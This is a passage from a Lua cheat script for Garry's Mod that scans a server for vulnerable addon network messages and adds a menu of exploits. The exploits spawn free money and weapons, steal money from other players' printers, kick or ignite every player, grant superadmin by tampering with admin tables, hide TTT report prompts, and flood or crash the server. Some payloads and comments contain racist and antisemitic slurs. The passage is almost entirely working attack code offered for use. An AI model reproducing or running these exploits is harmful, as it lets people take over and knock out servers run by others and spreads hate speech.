  828. inputFrameExists = true
  829. inputFrame = vgui.Create( "DFrame" )
  830. inputFrame:SetTitle("Choose a weapon!")
  831. inputFrame:SetSize( 400, 75 )
  832. inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
  833. inputFrame:SetDraggable(false)
  834. inputFrame:ShowCloseButton(false)
  835. inputFrame:MakePopup()
  836. inputFrame.Paint = function( self, w, h )
  837. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  838. end
  839.  
  840. local TextEntry = vgui.Create( "DTextEntry", inputFrame )
  841. TextEntry:SetSize( 380, 30 )
  842. TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
  843. TextEntry:SetText( "m9k_ak47" )
  844. TextEntry.OnEnter = function( self )
  845. surface.PlaySound("garrysmod/ui_click.wav")
  846. SploitText("Giving Weapon")
  847. net.Start( "CraftSomething" )
  848. net.WriteEntity( LocalPlayer() )
  849. net.WriteString( self:GetValue() )
  850. net.WriteString( "" )
  851. net.WriteString( "weapon" )
  852. net.SendToServer()
  853. inputFrame:SetVisible(false)
  854. end
  855. end)
  856. end
  857.  
  858.  
  859. local status = ValidNetString("TCBuyAmmo")
  860. if (status) then
  861. SploitText("Found exploitable net message: TCBuyAmmo")
  862. addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
  863. surface.PlaySound("garrysmod/ui_click.wav")
  864. SploitText("Getting Le Ammo")
  865. for k,v in pairs(GAMEMODE.AmmoTypes) do
  866.  
  867. net.Start("TCBBuyAmmo")
  868.  
  869. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  870.  
  871. net.SendToServer()
  872.  
  873. end
  874. end);end
  875.  
  876.  
  877.  
  878. local status = ValidNetString("DataSend")
  879. if (status) then
  880. SploitText("Found exploitable net message: Steal All Monies #1")
  881. addExploit( "4","Steal All Monies #1", "Takes money from printers", function()
  882. surface.PlaySound("garrysmod/ui_click.wav")
  883. for k, v in pairs( ents.GetAll() ) do
  884.  
  885. if v:GetClass() == "adv_moneyprinter" then
  886.  
  887. SploitText("Collecting Money")
  888.  
  889. net.Start("DataSend")
  890.  
  891. net.WriteFloat(2)
  892.  
  893. net.WriteEntity(v)
  894.  
  895. net.WriteEntity(LocalPlayer())
  896.  
  897. net.SendToServer()
  898.  
  899. end;end
  900. end);end
  901.  
  902.  
  903.  
  904.  
  905.  
  906.  
  907. local status = ValidNetString("FarmingmodSellItems")
  908. if (status) then
  909. SploitText("Found Exploit: Free Money")
  910. addExploit( "5","Free Money", "An exploit in the Farming Mod", function()
  911. surface.PlaySound("garrysmod/ui_click.wav")
  912. SploitText("Enjoy the b1g monies")
  913. net.Start( "FarmingmodSellItems" )
  914. net.WriteTable(
  915. {
  916. Cost = 10,
  917. CropModel = "models/props/eryk/garlic.mdl",
  918. CropType = 2,
  919. Info = "Garlic Seed",
  920. Model = "models/props/eryk/seedbag.mdl",
  921. Name = "Garlic",
  922. Quality = 4,
  923. Sell = 99999,
  924. Type = "Seed"
  925. }
  926. )
  927. net.WriteInt(1,16)
  928. net.SendToServer()
  929. end);end
  930.  
  931.  
  932. local status = ValidNetString("start_wd_emp")
  933. if (status) then
  934. SploitText("Found Exploit: Hack Keypads")
  935. addExploit( "6","Hack Keypads", "An exploit in the hacking phone", function()
  936. surface.PlaySound("garrysmod/ui_click.wav")
  937. SploitNotify("Hacking Keypads")
  938. net.Start('start_wd_emp')
  939. net.SendToServer()
  940. end);end
  941.  
  942.  
  943. local status = ValidNetString("duelrequestguiYes")
  944. if (status) then
  945. SploitText("Found Exploit: Get Money")
  946. addExploit( "7","Get Money", "Duel Exploit", function()
  947. surface.PlaySound("garrysmod/ui_click.wav")
  948. SploitNotify("getting ez monies")
  949. net.Start("duelrequestguiYes")
  950. net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
  951. net.WriteEntity(table.Random( player.GetAll() ) )
  952. net.WriteString("Crossbow")
  953. net.SendToServer()
  954. end);end
  955.  
  956.  
  957. local status = ValidNetString("drugseffect_remove")
  958. if (status) then
  959. SploitText("Found exploitable net message: drugseffect_remove ")
  960. addExploit( "8","Remove All Weapons", "An exploit in the drug addon", function()
  961. surface.PlaySound("garrysmod/ui_click.wav")
  962. SploitText("Removing Weapons from All")
  963. net.Start("drugseffect_remove")
  964. net.SendToServer()
  965. end);end
  966.  
  967. local status = ValidNetString("drugs_money")
  968. if (status) then
  969. SploitText("Found exploitable net message: drugs_money")
  970. addExploit( "9","Remove All Money", "An exploit in the drug addon", function()
  971. surface.PlaySound("garrysmod/ui_click.wav")
  972. SploitText("Removing Weapons from All")
  973. net.Start("drugs_money")
  974. net.SendToServer()
  975. end);end
  976.  
  977. local status = ValidNetString("drugs_ignite")
  978. if (status) then
  979. SploitText("Found exploitable net message: drugs_ignite")
  980. addExploit( "10","Ignite Props", "An exploit in the drug addon", function()
  981. surface.PlaySound("garrysmod/ui_click.wav")
  982. SploitText("Igniting Props")
  983. net.Start("drugs_ignite")
  984. net.WriteString("prop_physics")
  985. net.SendToServer()
  986. end);end
  987.  
  988.  
  989. local status = ValidNetString("drugs_ignite")
  990. if (status) then
  991. addExploit( "11","Ignite Players", "An exploit in the drug addon", function()
  992. surface.PlaySound("garrysmod/ui_click.wav")
  993. SploitText("Igniting Players")
  994. net.Start("drugs_ignite")
  995. net.WriteString("player")
  996. net.SendToServer()
  997. end);end
  998.  
  999.  
  1000. local status = ValidNetString("drugseffect_hpremove")
  1001. if (status) then
  1002. SploitText("Found Exploit: Remove All Players HP")
  1003. addExploit( "12","Remove All Players HP", "An exploit in the drug addon", function()
  1004. surface.PlaySound("garrysmod/ui_click.wav")
  1005. SploitText("Removing All Players HP")
  1006. net.Start("drugseffect_hpremove")
  1007. net.WriteString(1)
  1008. net.SendToServer()
  1009. end);end
  1010.  
  1011.  
  1012. local status = ValidNetString("drugseffect_hpremove")
  1013. if (status) then
  1014. SploitText("Found Exploit: Give All God")
  1015. addExploit( "13","Give All God", "An exploit in the drug addon", function()
  1016. surface.PlaySound("garrysmod/ui_click.wav")
  1017. SploitText("Giving All God")
  1018. net.Start("drugseffect_hpremove")
  1019. net.WriteString(299999)
  1020. net.SendToServer()
  1021. end);end
  1022.  
  1023. local status = ValidNetString("drugs_text")
  1024. if (status) then
  1025. SploitText("Found Exploit: Remove All Props")
  1026. addExploit( "14","Remove All Props", "An exploit in the drug addon", function()
  1027. surface.PlaySound("garrysmod/ui_click.wav")
  1028. SploitText("Removing All Props")
  1029. net.Start("drugs_text")
  1030. net.WriteString("prop_physics")
  1031. net.SendToServer()
  1032. end);end
  1033.  
  1034. local status = ValidNetString("DarkRP_Kun_ForceSpawn")
  1035. if (status) then
  1036. SploitText("Found Exploit: TP")
  1037. addExploit( "15", "TP", "No clue what this does xd", function()
  1038. surface.PlaySound("garrysmod/ui_click.wav")
  1039. SploitText("TPing")
  1040. net.Start("DarkRP_Kun_ForceSpawn")
  1041. net.SendToServer()
  1042. end);end
  1043.  
  1044.  
  1045. local status = ValidNetString("SyncPrinterButtons76561198056171650")
  1046. if (status) then
  1047. SploitText("Found Exploit: Steal All Monies #2")
  1048. addExploit( "16","Steal All Monies #2", "Takes money from printers", function()
  1049. surface.PlaySound("garrysmod/ui_click.wav")
  1050.  
  1051. SploitText("Collecting Money")
  1052.  
  1053. for k, v in pairs(ents.GetAll()) do
  1054.  
  1055. if (v:GetClass() == "adv_moneyprinter") then
  1056.  
  1057. net.Start( "SyncPrinterButtons76561198056171650" )
  1058.  
  1059. net.WriteEntity(v)
  1060.  
  1061. net.WriteUInt(2, 4)
  1062.  
  1063. net.SendToServer()
  1064.  
  1065. end
  1066.  
  1067. end
  1068. end);end
  1069.  
  1070. local function report()
  1071. for i = 1, 2000 do
  1072. net.Start("DL_Answering")
  1073. net.SendToServer()
  1074. end
  1075. end
  1076.  
  1077. if (Damagelog) then
  1078. SploitText("Found Exploit: Kick All Players")
  1079. reportSpam = 0
  1080. addExploit( "17","Kick All Players", "Kicks all players", function()
  1081. surface.PlaySound("garrysmod/ui_click.wav")
  1082. if (reportSpam == 0) then
  1083. SploitNotify("Starting Kicker")
  1084. reportSpam = 1
  1085. timer.Create("reportSpammer", 0.05, 0, report)
  1086. else
  1087. SploitNotify("Stopping Kicker")
  1088. reportSpam = 0
  1089. timer.Remove("reportSpammer")
  1090. end
  1091.  
  1092. end);end
  1093.  
  1094.  
  1095. local status = ValidNetString("SimplicityAC_aysent")
  1096. if (status) then
  1097. SploitText("Found Exploit: Instant Crash")
  1098. addExploit( "19","Instant Crash", "Will instantly crash the server", function()
  1099. surface.PlaySound("garrysmod/ui_click.wav")
  1100. SploitText("Goodbye Server")
  1101. local tbl = {}
  1102.  
  1103. for i=1,400 do
  1104.  
  1105. tbl[i] = i
  1106.  
  1107. end
  1108.  
  1109. net.Start("SimplicityAC_aysent")
  1110.  
  1111. net.WriteUInt(1, 8)
  1112.  
  1113. net.WriteUInt(4294967295, 32)
  1114.  
  1115. net.WriteTable(tbl)
  1116.  
  1117. net.SendToServer()
  1118. end);end
  1119.  
  1120. local status = ValidNetString("ATS_WARP_REMOVE_CLIENT")
  1121. if (status) then
  1122. SploitText("Found Exploit: Lagger #1")
  1123. lagger1 = 0
  1124. addExploit( "20", "Lagger #1", "b1g lags", function()
  1125. surface.PlaySound("garrysmod/ui_click.wav")
  1126. if (lagger1 == 0) then
  1127. SploitNotify("Starting Lagger")
  1128. lagger1 = 1
  1129. timer.Create("lagger1", 0.02, 0, function()
  1130.  
  1131. for k,v in pairs(player.GetAll()) do
  1132.  
  1133. net.Start( "ATS_WARP_REMOVE_CLIENT" )
  1134.  
  1135. net.WriteEntity( v )
  1136.  
  1137. net.WriteString( "adminroom1" )
  1138.  
  1139. net.SendToServer()
  1140.  
  1141. net.Start( "ATS_WARP_FROM_CLIENT" )
  1142.  
  1143. net.WriteEntity( v )
  1144.  
  1145. net.WriteString( "adminroom1" )
  1146.  
  1147. net.SendToServer()
  1148.  
  1149. net.Start( "ATS_WARP_VIEWOWNER" )
  1150.  
  1151. net.WriteEntity( v )
  1152.  
  1153. net.WriteString( "adminroom1" )
  1154.  
  1155. net.SendToServer()
  1156.  
  1157. end
  1158.  
  1159. end)
  1160. else
  1161. SploitNotify("Stopping Lagger")
  1162. lagger1 = 0
  1163. timer.Remove("lagger1")
  1164. end
  1165.  
  1166. end);end
  1167.  
  1168. local status = ValidNetString("CFRemoveGame")
  1169. if (status) then
  1170. SploitText("Found Exploit: Lagger #2")
  1171. lagger2 = 0
  1172. addExploit( "21", "Lagger #2", "b1g lags", function()
  1173. surface.PlaySound("garrysmod/ui_click.wav")
  1174. if (lagger2 == 0) then
  1175. SploitNotify("Starting Lagger")
  1176. lagger2 = 1
  1177. timer.Create("lagger2", 0.01, 0, function()
  1178.  
  1179. for k,v in pairs(player.GetAll()) do
  1180.  
  1181. net.Start( "CFRemoveGame" )
  1182.  
  1183. net.WriteFloat( math.Round( "10000\n" ) )
  1184.  
  1185. net.SendToServer()
  1186.  
  1187. net.Start( "CFJoinGame" )
  1188.  
  1189. net.WriteFloat( math.Round( "10000\n" ) )
  1190.  
  1191. net.SendToServer()
  1192.  
  1193. net.Start( "CFEndGame" )
  1194.  
  1195. net.WriteFloat( "10000\n" )
  1196.  
  1197. net.SendToServer()
  1198.  
  1199. end
  1200.  
  1201. end)
  1202. else
  1203. SploitNotify("Stopping Lagger")
  1204. lagger2 = 0
  1205. timer.Remove("lagger2")
  1206. end
  1207.  
  1208. end);end
  1209.  
  1210. local status = ValidNetString("CreateCase")
  1211. if (status) then
  1212. SploitText("Found Exploit: Lagger #4")
  1213. lagger4 = 0
  1214. addExploit( "23", "Lagger #4", "b1g lags", function()
  1215. surface.PlaySound("garrysmod/ui_click.wav")
  1216. if (lagger4 == 0) then
  1217. SploitNotify("Starting Lagger")
  1218. lagger4 = 1
  1219. timer.Create("lagger4", 0.02, 0, function()
  1220.  
  1221. for i = 1, 300 do
  1222.  
  1223. net.Start( "CreateCase" )
  1224.  
  1225. net.WriteString( "tapped by citizenhack.me" )
  1226.  
  1227. net.SendToServer()
  1228.  
  1229.  
  1230. end;end)
  1231. else
  1232. SploitNotify("Stopping Lagger")
  1233. lagger4 = 0
  1234. timer.Remove("lagger4")
  1235. end
  1236.  
  1237. end);end
  1238.  
  1239. local status = ValidNetString("rprotect_terminal_settings")
  1240. if (status) then
  1241. SploitText("Found Exploit: Lagger #5")
  1242. lagger5 = 0
  1243. addExploit( "24", "Lagger #5", "b1g lags", function()
  1244. surface.PlaySound("garrysmod/ui_click.wav")
  1245. if (lagger5 == 0) then
  1246. SploitNotify("Starting Lagger")
  1247. lagger5 = 1
  1248. timer.Create("lagger5", 0.02, 0, function()
  1249.  
  1250. for i = 1, 200 do
  1251.  
  1252. net.Start( "rprotect_terminal_settings" )
  1253.  
  1254. net.WriteEntity( LocalPlayer() )
  1255.  
  1256. net.SendToServer()
  1257.  
  1258. end
  1259.  
  1260. end)
  1261. else
  1262. SploitNotify("Stopping Lagger")
  1263. lagger5 = 0
  1264. timer.Remove("lagger5")
  1265. end
  1266.  
  1267. end);end
  1268.  
  1269. local status = ValidNetString("StackGhost")
  1270. if (status) then
  1271. SploitText("Found Exploit: Lagger #6")
  1272. lagger6 = 0
  1273. addExploit( "25", "Lagger #6", "b1g lags", function()
  1274. surface.PlaySound("garrysmod/ui_click.wav")
  1275. if (lagger6 == 0) then
  1276. SploitNotify("Starting Lagger")
  1277. lagger6 = 1
  1278. timer.Create("lagger6", 0.010, 0, function()
  1279.  
  1280. for i = 1, 8 do
  1281. for k,v in pairs( player.GetAll() ) do
  1282. net.Start( "StackGhost" )
  1283. net.WriteInt(69,32)
  1284. net.SendToServer()
  1285.  
  1286. end;end;end)
  1287. else
  1288. SploitNotify("Stopping Lagger")
  1289. lagger6 = 0
  1290. timer.Remove("lagger6")
  1291. end
  1292.  
  1293. end);end
  1294.  
  1295.  
  1296.  
  1297. local status = ValidNetString("pac_to_contraption")
  1298. if (status) then
  1299. SploitText("Found Exloit: Crash Server")
  1300. addExploit( "26","Crash Server", "Crashes the server (seems to not always work)", function()
  1301. surface.PlaySound("garrysmod/ui_click.wav")
  1302. SploitNotify("Crashing Server")
  1303. local tbl = {}
  1304.  
  1305. for i=1,1000000000 do
  1306.  
  1307. tbl[#tbl + 1] = i
  1308.  
  1309. end
  1310.  
  1311. net.Start("pac_to_contraption")
  1312.  
  1313. net.WriteTable( tbl )
  1314.  
  1315. net.SendToServer()
  1316. end);end
  1317.  
  1318.  
  1319. local status = ValidNetString("NLRKick")
  1320. if (status) then
  1321. SploitText("Found Exploit: Kick All")
  1322. addExploit( "27","Kick All", "kick all the beaners", function()
  1323. surface.PlaySound("garrysmod/ui_click.wav")
  1324. SploitNotify("Kicking All")
  1325. for k,v in pairs(player.GetAll()) do
  1326. if v != LocalPlayer() then
  1327. net.Start("NLRKick")
  1328. net.WriteEntity(v)
  1329. net.SendToServer()
  1330. end
  1331. end
  1332. end);end
  1333.  
  1334. local status = ValidNetString("JoinOrg")
  1335. if (status) then
  1336. SploitText("Found Exploit: Lagger #7")
  1337. lagger7 = 0
  1338. addExploit( "28", "Lagger #7", "b1111g lags", function()
  1339. surface.PlaySound("garrysmod/ui_click.wav")
  1340. if (lagger7 == 0) then
  1341. SploitNotify("Starting Lagger")
  1342. lagger7 = 1
  1343. timer.Create("lagger7", 0.02, 0, function()
  1344.  
  1345. for k,v in pairs(player.GetAll()) do
  1346. net.Start("JoinOrg")
  1347. net.WriteEntity(LocalPlayer())
  1348. net.WriteString("test")
  1349. net.SendToServer()
  1350. end
  1351.  
  1352. end)
  1353. else
  1354. SploitNotify("Stopping Lagger")
  1355. lagger7 = 0
  1356. timer.Remove("lagger7")
  1357. end
  1358.  
  1359. end);end
  1360.  
  1361. local status = ValidNetString("giveweapon")
  1362. if (status) then
  1363. SploitText("Found Exploit: Give Weapons")
  1364. addExploit( "29", "Give Weapons", "big explo1t", function()
  1365. inputFrame2Exists = true
  1366. inputFrame2 = vgui.Create( "DFrame" )
  1367. inputFrame2:SetTitle("Choose a weapon!")
  1368. inputFrame2:SetSize( 400, 75 )
  1369. inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
  1370. inputFrame2:SetDraggable(false)
  1371. inputFrame2:ShowCloseButton(false)
  1372. inputFrame2:MakePopup()
  1373. inputFrame2.Paint = function( self, w, h )
  1374. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  1375. end
  1376.  
  1377. local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
  1378. TextEntry2:SetSize( 380, 30 )
  1379. TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
  1380. TextEntry2:SetText( "m9k_ak47" )
  1381. TextEntry2.OnEnter = function( self )
  1382. surface.PlaySound("garrysmod/ui_click.wav")
  1383. SploitNotify("Giving " .. TextEntry2:GetValue())
  1384.  
  1385.  
  1386. net.Start("giveweapon")
  1387. net.WriteEntity(LocalPlayer())
  1388. net.WriteString(TextEntry2:GetValue())
  1389. net.SendToServer()
  1390.  
  1391. inputFrame2:SetVisible(false)
  1392. end
  1393. end)
  1394. end
  1395.  
  1396. local status = ValidNetString("timebombDefuse")
  1397. if (status) then
  1398. SploitText("Found Exploit: Delete All Props")
  1399. addExploit( "30","Delete All Props", "props = dead", function()
  1400. surface.PlaySound("garrysmod/ui_click.wav")
  1401. SploitNotify("Props De_Stroyed")
  1402. for k,v in pairs(ents.GetAll()) do
  1403. net.Start("timebombDefuse")
  1404. net.WriteEntity(v)
  1405. net.WriteBool(true)
  1406. net.SendToServer()
  1407. end
  1408. end);end
  1409.  
  1410. local status = ValidNetString("pac_submit")
  1411. if (status) then
  1412. SploitText("Found Exploit: Lagger")
  1413. addExploit( "31","Lagger #8", "l4g yuh", function()
  1414. surface.PlaySound("garrysmod/ui_click.wav")
  1415.  
  1416. if !timer.Exists( "lagger8" ) then
  1417. timer.Create("lagger8", 0.5, 0, function()
  1418. for i=1, 1800 do
  1419. net.Start("pac_submit")
  1420. net.SendToServer()
  1421. end
  1422. end)
  1423. SploitNotify("Starting Lagger")
  1424. else
  1425. timer.Remove("lagger8")
  1426. SploitNotify("Stopping Lagger")
  1427. end
  1428. end);end
  1429.  
  1430.  
  1431. local status = ValidNetString("steamid2")
  1432. if (status) then
  1433. SploitText("Found Exploit: Lagger #9")
  1434. addExploit( "32","Lagger #9", "l4g yuhhhhhhhhhhhh", function()
  1435. surface.PlaySound("garrysmod/ui_click.wav")
  1436.  
  1437. if !timer.Exists( "lagger9" ) then
  1438.  
  1439. SploitNotify("Starting Lagger")
  1440.  
  1441. timer.Create( "lagger9", 0, 0, function()
  1442.  
  1443. for i = 1, 100 do
  1444.  
  1445. net.Start( "steamid2" )
  1446.  
  1447. net.WriteString( "discord.gg/F7nSfff" )
  1448.  
  1449. net.SendToServer()
  1450. end
  1451. end)
  1452. else
  1453. timer.Remove("lagger9")
  1454. SploitNotify("Stopping Lagger")
  1455. end
  1456.  
  1457. end);end
  1458.  
  1459. local status = ValidNetString("NDES_SelectedEmblem")
  1460. if (status) then
  1461. SploitText("Found Exploit: Lagger #10")
  1462. addExploit( "33","Lagger #10", "oof yuh get l4gged", function()
  1463. surface.PlaySound("garrysmod/ui_click.wav")
  1464.  
  1465. if !timer.Exists( "lagger10" ) then
  1466. timer.Create("lagger10", 0.5, 0, function()
  1467. for i=1, 2000 do
  1468. net.Start("NDES_SelectedEmblem")
  1469. net.WriteString("exploitcity")
  1470. net.SendToServer()
  1471. end
  1472. end)
  1473. SploitNotify("Starting Lagger")
  1474. else
  1475. timer.Remove("lagger10")
  1476. SploitNotify("Stopping Lagger")
  1477. end
  1478.  
  1479.  
  1480. end);end
  1481.  
  1482.  
  1483.  
  1484. local status = ValidNetString("Morpheus.StaffTracker")
  1485. if (status) then
  1486. SploitText("Found Exploit: Crasher #3")
  1487. addExploit( "33","Crasher #3", "not even hard. unlike nippy's dick when he sees voltz", function()
  1488. surface.PlaySound("garrysmod/ui_click.wav")
  1489.  
  1490. if !timer.Exists( "crasher3" ) then
  1491. timer.Create("crasher3", 0.5, 0, function()
  1492. for i=1, 2000 do
  1493. net.Start("Morpheus.StaffTracker")
  1494. net.SendToServer()
  1495. end
  1496. end)
  1497. SploitNotify("Crashing Server")
  1498. else
  1499. timer.Remove("crasher3")
  1500. SploitNotify( "Canceling Crasher" )
  1501. end
  1502.  
  1503. end);end
  1504.  
  1505.  
  1506. local status = ValidNetString("egg")
  1507. if (status) then
  1508. SploitText("Found Exploit: Get Easter Egg")
  1509. addExploit( "34","Get Easter Egg", "ez eggs", function()
  1510. surface.PlaySound("garrysmod/ui_click.wav")
  1511.  
  1512. net.Start("egg")
  1513. net.SendToServer()
  1514. SploitNotify("Gave Easter Egg")
  1515.  
  1516. end);end
  1517.  
  1518. local status = ValidNetString("TalkIconChat")
  1519. if (status) then
  1520. spoofchat = 0
  1521. SploitText("Found Exploit: Spoof Chat Icon")
  1522. addExploit( "35","Spoof Chat Icon", "not really a big exploit just fun", function()
  1523. surface.PlaySound("garrysmod/ui_click.wav")
  1524.  
  1525. if spoofchat == 0 then
  1526. hook.Remove('StartChat', 'TalkIcon')
  1527. net.Start("TalkIconChat")
  1528. net.WriteBool(true)
  1529. net.SendToServer()
  1530. spoofchat = 1
  1531. SploitNotify("Enabled Icon Spoofer")
  1532. else
  1533. net.Start("TalkIconChat")
  1534. net.WriteBool(false)
  1535. net.SendToServer()
  1536. SploitNotify("Disabled Icon Spoofer")
  1537. spoofchat = 0
  1538. end
  1539.  
  1540.  
  1541. end);end
  1542.  
  1543.  
  1544. local status = ValidNetString("join_disconnect")
  1545. if (status) then
  1546. SploitText("Found Exploit: Lagger #11")
  1547. addExploit( "36","Lagger #11", "b1g lags my duder", function()
  1548. surface.PlaySound("garrysmod/ui_click.wav")
  1549.  
  1550. if !timer.Exists( "lagger11" ) then
  1551. timer.Create("lagger11", 0.5, 0, function()
  1552. for i=1, 3000 do
  1553. net.Start("join_disconnect")
  1554. net.WriteEntity(table.Random(player.GetAll()))
  1555. net.SendToServer()
  1556. end
  1557. end)
  1558. SploitNotify("Starting Lagger")
  1559. else
  1560. timer.Remove("lagger11")
  1561. SploitNotify("Stopping Lagger")
  1562. end
  1563.  
  1564.  
  1565. end);end
  1566.  
  1567.  
  1568. local status = ValidNetString("pplay_deleterow")
  1569. if (status) then
  1570. SploitText("Found Exploit: GET SUPERADMIN")
  1571. addExploit( "37","GET SUPERADMIN", "Rejoin game after clicking", function()
  1572. surface.PlaySound("garrysmod/ui_click.wav")
  1573.  
  1574. local id = LocalPlayer():SteamID()
  1575.  
  1576. local tbl = {}
  1577.  
  1578. tbl.name = "FAdmin_PlayerGroup"
  1579.  
  1580. tbl.where = {
  1581.  
  1582. "steamid",
  1583.  
  1584. tostring(id)
  1585.  
  1586. }
  1587.  
  1588. net.Start("pplay_deleterow")
  1589.  
  1590. net.WriteTable(tbl)
  1591.  
  1592. net.SendToServer()
  1593.  
  1594.  
  1595.  
  1596. local tbl = {}
  1597.  
  1598. tbl.tblname = "FAdmin_PlayerGroup"
  1599.  
  1600. tbl.tblinfo = {
  1601.  
  1602. tostring(id),
  1603.  
  1604. "superadmin"
  1605.  
  1606. }
  1607.  
  1608. net.Start("pplay_addrow")
  1609.  
  1610. net.WriteTable(tbl)
  1611.  
  1612. net.SendToServer()
  1613.  
  1614. SploitNotify("promotion ;)")
  1615.  
  1616.  
  1617. end);end
  1618.  
  1619. -- ttt report bypass by daddy grampa
  1620. local title = "You have been reported! Please answer all your reports."
  1621. local function CheckChild(pan)
  1622. if !pan || !IsValid(pan) then return end
  1623. if pan.GetTitle && pan:GetTitle() == title then
  1624. pan:Remove();
  1625. print("Removed warning box")
  1626. return
  1627. end
  1628. for k,v in pairs(pan:GetChildren()) do
  1629. if v.GetTitle && v:GetTitle() == title then
  1630. v:Remove();
  1631. print("Removed warning box")
  1632. return
  1633. end
  1634. if #v:GetChildren() > 0 then
  1635. CheckChild(v)
  1636. end
  1637. end
  1638. end
  1639.  
  1640.  
  1641. if (engine.ActiveGamemode() == "terrortown") then
  1642. bypass = 0
  1643. SploitText("Found Exploit: TTT Report Bypass")
  1644. addExploit( "38","Toggle TTT Report Bypass", "b1g bypass amirite", function()
  1645. surface.PlaySound("garrysmod/ui_click.wav")
  1646.  
  1647. if (bypass == 0) then
  1648. hook.Add("Think", "remove_ttt_report", function()
  1649. local pan = vgui.GetHoveredPanel()
  1650. CheckChild(pan)
  1651. end)
  1652. SploitNotify("Enabled Report Bypass")
  1653. bypass = 1
  1654. else
  1655. hook.Remove("Think", "remove_ttt_report")
  1656. SploitNotify("Disabled Report Bypass")
  1657. bypass = 0
  1658. end
  1659.  
  1660.  
  1661. end);end
  1662.  
  1663. local status = ValidNetString("EZS_PlayerTag")
  1664. if (status) then
  1665. SploitText("Found exploitable net message: EZS_PlayerTag")
  1666. addExploit( "39","Lagger #12", "b1g lags my duder", function()
  1667. surface.PlaySound("garrysmod/ui_click.wav")
  1668.  
  1669. if !timer.Exists( "lagger12" ) then
  1670. timer.Create("lagger12", 0.5, 0, function()
  1671. for k, v in pairs(player.GetAll()) do
  1672. net.Start( "EZS_PlayerTag" )
  1673. net.WriteEntity(v)
  1674. net.WriteString("I hate niggers")
  1675. net.SendToServer()
  1676. timer.Simple(2, function()
  1677. net.Start( "EZS_PlayerTag" )
  1678. net.WriteEntity(v)
  1679. net.WriteString("I hate jews")
  1680. net.SendToServer()
  1681. end)
  1682. end
  1683. end)
  1684. SploitNotify("Starting Lagger")
  1685. else
  1686. timer.Remove("lagger12")
  1687. SploitNotify("Stopping Lagger")
  1688. end
  1689. end);end
  1690.  
  1691. if ConVarExists("advttt_spreadovertime_enabled") then
  1692. SploitText("Found exploitable hook: WyoziAdvTTTSpreadOverTime")
  1693. addExploit( "40","Remove Spread", "pSilent No Spread", function()
  1694. surface.PlaySound("garrysmod/ui_click.wav")
  1695. hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
  1696. SploitNotify("Spread Removed")
  1697. end);end
  1698.  
  1699.  
  1700. local status = ValidNetString("ATS_WARP_FROM_CLIENT")
  1701. if (status) then
  1702. SploitText("Found exploitable net message: ATS_WARP_FROM_CLIENT")
  1703. addExploit( "41", "Teleport", "Specify a string destination and u will be tped to it", function()
  1704. inputFrame3Exists = true
  1705. inputFrame3 = vgui.Create( "DFrame" )
  1706. inputFrame3:SetTitle("Type a String Destination")
  1707. inputFrame3:SetSize( 400, 75 )
  1708. inputFrame3:SetPos(ScrW() / 2 - inputFrame3:GetWide() / 2, ScrH() / 2 + 230 )
  1709. inputFrame3:SetDraggable(false)
  1710. inputFrame3:ShowCloseButton(false)
  1711. inputFrame3:MakePopup()
  1712. inputFrame3.Paint = function( self, w, h )
  1713. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  1714. end
  1715.  
  1716. local TextEntry3 = vgui.Create( "DTextEntry", inputFrame3 )
  1717. TextEntry3:SetSize( 380, 30 )
  1718. TextEntry3:SetPos( inputFrame3:GetWide() / 2 - TextEntry3:GetWide() / 2, inputFrame3:GetTall() / 2 - TextEntry3:GetTall() / 2 )
  1719. TextEntry3:SetText( "*destination*" )
  1720. TextEntry3.OnEnter = function( self )
  1721. surface.PlaySound("garrysmod/ui_click.wav")
  1722. SploitNotify("Teleporting to " .. TextEntry3:GetValue() )
  1723.  
  1724. net.Start( "ATS_WARP_FROM_CLIENT" )
  1725.  
  1726. net.WriteEntity( LocalPlayer() )
  1727. net.WriteString( TextEntry3:GetValue() )
  1728.  
  1729. net.SendToServer()
  1730.  
  1731.  
  1732. inputFrame3:SetVisible(false)
  1733. end
  1734. end)
  1735. end
  1736.  
  1737. //KDG shit
  1738.  
  1739. local status = ValidNetString("KMining_SmeltItem")
  1740. if (status) then
  1741. SploitText("Found exploitable net message: KMining_SmeltItem")
  1742. addExploit( "42","Craft Iron Ingot", "KFC", function()
  1743. surface.PlaySound("garrysmod/ui_click.wav")
  1744.  
  1745. net.Start("KMining_SmeltItem")
  1746. net.WriteString("k_iron_ingot")
  1747. net.SendToServer()
  1748.  
  1749. end);end
  1750.  
  1751. local status = ValidNetString("KMining_SmeltItem")
  1752. if (status) then
  1753. SploitText("Found exploitable net message: KMining_SmeltItem")
  1754. addExploit( "43","Craft Steel Ingot", "KFC", function()
  1755. surface.PlaySound("garrysmod/ui_click.wav")
  1756.  
  1757. net.Start("KMining_SmeltItem")
  1758. net.WriteString("k_steel_ingot")
  1759. net.SendToServer()
  1760.  
  1761. end);end
  1762.  
  1763. local status = ValidNetString("KMining_SmeltItem")
  1764. if (status) then
  1765. SploitText("Found exploitable net message: KMining_SmeltItem")
  1766. addExploit( "44","Craft Titanium Ingot", "KFC", function()
  1767. surface.PlaySound("garrysmod/ui_click.wav")
  1768.  
  1769. net.Start("KMining_SmeltItem")
  1770. net.WriteString("k_titanium_ingot")
  1771. net.SendToServer()
  1772.  
  1773. end);end
  1774.  
  1775. local status = ValidNetString("KMining_SmeltItem")
  1776. if (status) then
  1777. SploitText("Found exploitable net message: KMining_SmeltItem")
  1778. addExploit( "45","Craft Sulfur Powder", "KFC", function()
  1779. surface.PlaySound("garrysmod/ui_click.wav")
  1780.  
  1781. net.Start("KMining_SmeltItem")
  1782. net.WriteString("k_sulfur_powder")
  1783. net.SendToServer()
  1784.  
  1785. end);end
  1786.  
  1787. local status = ValidNetString("KMining_SmeltItem")
